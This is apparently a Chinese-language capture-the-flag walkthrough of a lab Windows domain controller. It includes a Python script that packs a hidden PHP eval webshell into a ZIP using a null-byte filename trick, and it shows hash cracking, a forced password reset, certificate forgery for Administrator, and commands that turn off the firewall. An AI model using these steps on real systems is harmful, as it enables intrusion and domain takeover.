目标信息
IP地址:
10.129.129.191
(非固定IP地址)
信息收集
ICMP检测
PING 10.129.129.191 (10.129.129.191) 56(84) bytes of data.
64 bytes from 10.129.129.191: icmp_seq=1 ttl=127 time=401 ms
64 bytes from 10.129.129.191: icmp_seq=2 ttl=127 time=428 ms
64 bytes from 10.129.129.191: icmp_seq=3 ttl=127 time=385 ms
64 bytes from 10.129.129.191: icmp_seq=4 ttl=127 time=344 ms
--- 10.129.129.191 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 343.574/389.503/428.212/30.645 ms
攻击机和靶机间网络连通性良好。
防火墙检测
# Nmap 7.95 scan initiated Sun Jun 1 14:19:32 2025 as: /usr/lib/nmap/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.129.191
Nmap scan report for 10.129.129.191
Host is up (0.34s latency).
All 65535 scanned ports on 10.129.129.191 are in ignored states.
Not shown: 65535 open|filtered tcp ports (no-response)
# Nmap done at Sun Jun 1 14:20:19 2025 -- 1 IP address (1 host up) scanned in 46.72 seconds
无法判断靶机防火墙状态。
网络端口扫描
TCP
端口扫描结果
# Nmap 7.95 scan initiated Sun Jun 1 14:22:38 2025 as: /usr/lib/nmap/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.129.191
Nmap scan report for 10.129.129.191
Host is up (0.36s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.0.30)
|_http-title: Did not follow redirect to http://certificate.htb/
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-06-01 14:24:00Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb, Site: Default-First-Site-Name)
|_ssl-date: 2025-06-01T14:25:58+00:00; +8h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after: 2025-11-04T03:14:54
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-01T14:25:57+00:00; +8h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after: 2025-11-04T03:14:54
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after: 2025-11-04T03:14:54
|_ssl-date: 2025-06-01T14:25:58+00:00; +8h00m01s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-01T14:25:57+00:00; +8h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after: 2025-11-04T03:14:54
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49685/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49686/tcp open msrpc Microsoft Windows RPC
49688/tcp open msrpc Microsoft Windows RPC
49706/tcp open msrpc Microsoft Windows RPC
60590/tcp open msrpc Microsoft Windows RPC
60605/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Hosts: certificate.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 8h00m00s, deviation: 0s, median: 8h00m00s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-06-01T14:25:20
|_ start_date: N/A
TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 343.30 ms 10.10.14.1
2 363.90 ms 10.129.129.191
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun 1 14:25:59 2025 -- 1 IP address (1 host up) scanned in 201.47 seconds
UDP
端口开放列表扫描结果
# Nmap 7.95 scan initiated Sun Jun 1 14:27:43 2025 as: /usr/lib/nmap/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.129.191
Nmap scan report for 10.129.129.191
Host is up (0.34s latency).
Not shown: 65531 open|filtered udp ports (no-response)
PORT STATE SERVICE
53/udp open domain
88/udp open kerberos-sec
123/udp open ntp
389/udp open ldap
# Nmap done at Sun Jun 1 14:28:28 2025 -- 1 IP address (1 host up) scanned in 45.09 seconds
UDP
端口详细信息扫描结果
(无)
同时发现靶机操作系统为Windows Server 2019
,为域控制器,还开放了HTTP
服务,主域名为certificate.htb
,主机名为dc01
。
服务探测
DNS服务(53端口)
尝试使用dig
工具查看DNS
服务基本信息:
dig any certificate.htb @dc01.certificate.htb
未发现其它信息,尝试爆破子域名,无新域名发现。
Kerberos服务(88端口)
首先使用ntpdate
工具和靶机同步时间:
ntpdate -s dc01.certificate.htb
随后尝试使用kerbrute
工具进行用户名爆破,但未发现除Administrator
外的任何用户。
Web应用程序(80端口)
打开主页:http://certificate.htb/
发现目标站点为在线教育平台展示页,主页上存在6
个链接,分别指向:index.php
、about.php
、login.php
、register.php
、blog.php
和contacts.php
。在主页中部,发现存在课程介绍栏,点击课程介绍区块会跳转至course-details.php
,但需要登录查看:
访问blog.php
,发现该页面为高仿论坛页面,所有页面上的帖子链接均为当前地址,还发现疑似存在一个HTTP GET
参数search
,但无论输入什么,页面都没有变化。
访问contacts.php
,发现一个表单:
尝试测试SQLi
和XSS
漏洞,但不存在;除此之外发现一个电子邮箱support@certificate.htb
。
直接点击Register
链接,跳转至用户注册界面,注册一个新用户并登录:
登录后跳转至主页,发现页面顶部链接栏新出现了一个链接Courses
,点击之后跳转到了courses.php
课程选择界面:
随便点击一项课程,跳转至course-details.php
课程购买页面,点击Enroll
按钮尝试预订课程:
同时发现页面尾部出现了观看课程视频和提交作业的按钮:
点击SUBMIT
按钮,发现跳转至了upload.php
文件上传页面:
根据页面描述,作业提交页面只允许上传.pdf
、.docx
、.pptx
和.xlsx
文件,也可以将一份为上述四种类型之一的文件打包在ZIP
压缩包内上传。
渗透测试
ZIP文件名元信息截断绕过
在之前的服务探测过程中,我们已经发现了用于实现作业提交功能的文件上传界面,现在尝试进行上传绕过。首先尝试新建一份TXT
文件上传:
发现提示MIME
类型错误,尝试更改为application/vnd.openxmlformats-officedocument.wordprocessingml.document
类型,提示文件后缀名错误:
经过进一步测试,发现后端程序采用了后缀名和MIME
类型相匹配的双重白名单机制,如果后缀名非法或与MIME
类型不对应,则无法进行上传。
尝试将文件后缀名改为.docx
,发现即使文件后缀名和MIME
合法且相符合,程序也会检测文件二进制格式是否合法,即使添加DOCX
文件头也无法绕过:
尝试将一个test.txt
文件改名为test.docx
打包在ZIP
压缩包中上传,发现上传成功,文件被自动解压:
经过进一步测试,发现上传ZIP
文件时,程序仅会检查压缩包内文件的后缀名,不会检查文件二进制格式合法性。
对于这种情况,我们可以将WebShell
打包在压缩包内,使用16
进制字符\x00
对压缩包文件名元信息字符串进行截断的方法绕过。比如,WebShell
名称为sparkle.php
,那么我们就可以使用16
进制截断字符,变文件名为sparkle.php\x00.docx
。这样,由于ZIP
压缩包内文件名信息字符串无限制,而NTFS
文件系统的文件名有字符限制的原因,程序会检测到后缀名.docx
,认为该文件合法,随即调用系统API
解压文件;操作系统解压文件时,读取到\x00
截断字符,文件名就变为了sparkle.php
。
要实现以上效果,我们需要使用Python
的zipfile
类库,组装ZIP
压缩包文件元信息的方法实现:
#!/usr/bin/python3
import base64
import zipfile
php_backdoor_name = f'sparkle.php\x00.docx'
php_backdoor_content = '''
R0lGODlhCjw/cGhwCiAgJGNvZGUgPSAkX1BPU1RbImNvZGUiXTsKICBlY2hvKGV2YWwoJGNvZGUpKTsKPz4K
'''
php_backdoor_content = base64.b64decode(php_backdoor_content).decode("utf-8")
malicious_zipfile_metadata = zipfile.ZipInfo(filename="", date_time=(2025, 6, 4, 10, 3, 0))
malicious_zipfile_metadata.filename = php_backdoor_name
with zipfile.ZipFile("sparkle.zip", "w") as zip_f:
zip_f.writestr(malicious_zipfile_metadata, php_backdoor_content)
脚本运行完毕后,将生成的sparkle.zip
文件上传:
随后按照规律,使用中国蚁剑工具连接后门:http://certificate.htb/static/uploads/371dcc2325f3edac50d1371fb8b09481/sparkle.php
(参数名为code
)
后门连接成功!
破解站点用户哈希获得凭据
连接WebShell
后,发现虽然后门可以成功运行,但无法正常执行操作系统命令,只能对系统目录下的文件进行查看,于是放弃反弹Shell
,转而进行目录信息收集。
经过查看,在靶机网站根目录下发现数据库连接配置脚本:C:\xampp\htdocs\certificate.htb\db.php
:
直接查看其内容:
<?php
// Database connection using PDO
try {
$dsn = 'mysql:host=localhost;dbname=Certificate_WEBAPP_DB;charset=utf8mb4';
$db_user = 'certificate_webapp_user'; // Change to your DB username
$db_passwd = 'cert!f!c@teDBPWD'; // Change to your DB password
$options = [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
];
$pdo = new PDO($dsn, $db_user, $db_passwd, $options);
} catch (PDOException $e) {
die('Database connection failed: ' . $e->getMessage());
}
?>
成功发现数据库连接凭据:
- 数据库地址:
localhost
(靶机本地) - 用户名:
certificate_webapp_user
- 密码:
cert!f!c@teDBPWD
由于未获得反弹Shell
,目前无法直接使用命令行登录数据库,只能使用Adminer
在线数据库管理工具进行数据查看:Adminer - Database management in a single PHP file
直接下载该文件,并使用中国蚁剑工具上传:
随后访问http://certificate.htb/static/uploads/371dcc2325f3edac50d1371fb8b09481/adminer.php
,输入发现的数据库凭据,点击登录按钮:
成功登录!
登录之后,点击数据库certificate_webapp_db
,在数据库内发现了users
表,表内存储了站点的用户凭据信息:
查看用户列表,发现用户sara.b
的电子邮箱地址刚好为certificate.htb
,而C:Users
目录下也刚好存在sara.b
用户的家目录:
怀疑该网站用户凭据和操作系统内用户有关。直接使用hashcat
工具配合rockyou.txt
进行破解:
.\hashcat.exe -m 3200 -a 0 "`$2y`$04`$CgDe/Thzw/Em/M4SkmXNbu0YdFo6uUs3nB.pzQPV.g8UdXikZNdH6" .\rockyou.txt --force
成功发现域用户凭据:
- 域:
certificate.htb
- 用户名:
sara.b
- 密码:
Blink182
随后使用crackmapexec
对该用户凭据进行验证:
crackmapexec smb dc01.certificate.htb -d certificate.htb -u sara.b -p "Blink182"
crackmapexec winrm dc01.certificate.htb -d certificate.htb -u sara.b -p "Blink182"
域用户凭据正确且具有WinRM
登录权限,直接使用evil-winrm
登录:
evil-winrm -i dc01.certificate.htb -u sara.b -p "Blink182"
登录WinRM成功!!
权限提升
域关系信息收集
登录sara.b
用户后,使用BloodHound
工具对靶机域环境进行分析。首先需要上传SharpHound.ps1
采集脚本收集相关信息:
upload ../../../../../opt/BloodHound-linux-x64/resources/app/Collectors/SharpHound.ps1
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputPrefix "sara.b" -OutputDirectory C:\Users\sara.b\Documents
收集完毕后,直接下载采集到的数据:
ls
download sara.b_20250605040605_BloodHound.zip
随后启动neo4j
,并将其上传至BloodHound
,点击Analysis => Find Shortest Paths to Domain Admins
按钮列出域内最短攻击路径:
发现Account Operators
用户组内的用户对ryan.k
用户对象具有GenericAll
完全控制权限。
点击Account Operators
用户组对象按钮,查看成员用户,发现当前用户sara.b
就在该用户组内:
这意味着当前用户sara.b
可直接修改ryan.k
用户的凭据,决定利用此条路径进行权限提升。
GenericAll用户权限利用
在域关系信息收集阶段,已经发现当前用户可修改ryan.k
用户凭据的情况,现在直接使用Windows
操作系统的net
工具进行利用:
net user ryan.k Asd310056 /domain
随后直接登录ryan.k
用户:
evil-winrm -i dc01.certificate.htb -u ryan.k -p "Asd310056"
成功!
SeManageVolumePrivilege特权利用
登录ryan.k
用户后,使用whoami /all
命令查看当前用户属组和特权信息,发现该用户开启了SeManageVolumePrivilege
特权。该特权允许用户执行磁盘维护操作,包括锁定或装卸载卷、修改卷数据、碎片整理以及运行磁盘清理工具等任务。
对于该特权,我们可以使用如下工具,从C
盘根目录开始递归修改系统盘内主要目录的访问控制信息,并通过读取系统关键文件的方式进行提权:CsEnox/SeManageVolumeExploit
由于靶机为Windows Active Directory
域控制器,系统内必定安装了AD CS
证书服务,我们可以通过certutil
工具导出位于C:\Windows\System32\Certlog\CertEnroll
下证书颁发机构CA
的根证书,随后通过该根证书向CA
请求域管理员用户的用户证书,进而获得管理员用户的NTLM
哈希值完成提权。
首先下载SeManageVolumeExploit.exe
工具,并上传至靶机:
upload SeManageVolumeExploit.exe
随后进入CA
证书目录,运行特权利用工具,并导出CA
根证书,下载到攻击机上:
cd C:\Windows\System32\certsrv\CertEnroll
C:\Users\ryan.k\Desktop\SeManageVolumeExploit.exe
certutil -exportPFX my "Certificate-LTD-CA" C:\Users\ryan.k\Desktop\Certificate-LTD-CA.pfx
download C:\Users\ryan.k\Desktop\Certificate-LTD-CA.pfx
CA
根证书导出成功!接下来使用certipy-ad
的forge
功能请求Administrator
用户的证书:
ntpdate -s dc01.certificate.htb
certipy-ad forge -ca-pfx Certificate-LTD-CA.pfx -upn Administrator@certificate.htb -out administrator.pfx
成功获取后,使用certipy-ad
的auth
功能进行证书UnPAC
请求利用,获取Administrator
用户哈希:
certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.71 -domain certificate.htb -username Administrator
成功获取域管理员登录凭据:
- 域:
certificate.htb
- 用户名:
Administrator
NTLM
哈希:d804304519bf0143c14cbf1c024408c6
直接使用crackmapexec
执行命令,修改密码、关闭防火墙并打开远程桌面:
crackmapexec smb dc01.certificate.htb -d certificate.htb -u Administrator -H "d804304519bf0143c14cbf1c024408c6" -x "net user Administrator Asd310056 /domain"
crackmapexec smb dc01.certificate.htb -d certificate.htb -u Administrator -p "Asd310056" -x "netsh advfirewall set allprofiles state off"
crackmapexec smb dc01.certificate.htb -d certificate.htb -u Administrator -p "Asd310056" -x "wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1"
最后使用xfreerdp
登录远程桌面:
xfreerdp /v:dc01.certificate.htb /u:Administrator /p:"Asd310056" /size:1440x900
提权成功!!!!